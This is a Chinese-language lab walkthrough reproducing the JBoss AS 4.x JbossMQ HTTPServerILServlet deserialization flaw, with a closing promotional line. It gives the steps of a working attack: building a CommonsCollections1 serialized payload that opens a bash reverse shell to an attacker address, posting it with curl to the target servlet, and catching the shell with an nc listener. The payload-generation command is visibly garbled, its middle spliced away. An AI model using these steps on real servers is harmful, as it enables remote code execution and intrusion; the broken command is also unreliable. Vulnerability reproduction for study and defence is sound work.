一、漏洞描述
JBoss <=4.x
二、漏洞原理
Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
三、环境搭建
四、漏洞复现
访问目标网站
准备EXP:
github.com/joaomatosf/…
下载好了之后,复制到kali虚拟机,准备攻击测试
选择ExampleCommonsCollections1WithHashMap,编译并生成序列化数据:
命令执行完成后,将生成一个文件ExampleCommonsCollections1WithHashMap.class
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashM2.168.36.129/6666 0>&1"
命令执行完成后,将生成一个文件ExampleCommonsCollections1WithHashMap.ser
#ser全称serialize,序列化恶意数据至文件。
将该文件作为请求数据主体发送如下数据包:
curl http://192.168.36.147:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser
在执行命令之前打开nc监听
打开之后执行上传文件的命令
–data-binary 意为以二进制的方式post数据
此时反弹回shell
注意:如果执行curl http://192.168.36.147:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser 报错出现 curl: (6) Could not resolve host: http
那么修改DNS配置,修改后重启DNS服务或者重启kali即可解决该问题
修改DNS参考链接:www.cnblogs.com/sea-stream/…
五、漏洞修复
升级至最新版本
更多web安全工具与存在漏洞的网站搭建源码,收集整理在知识星球。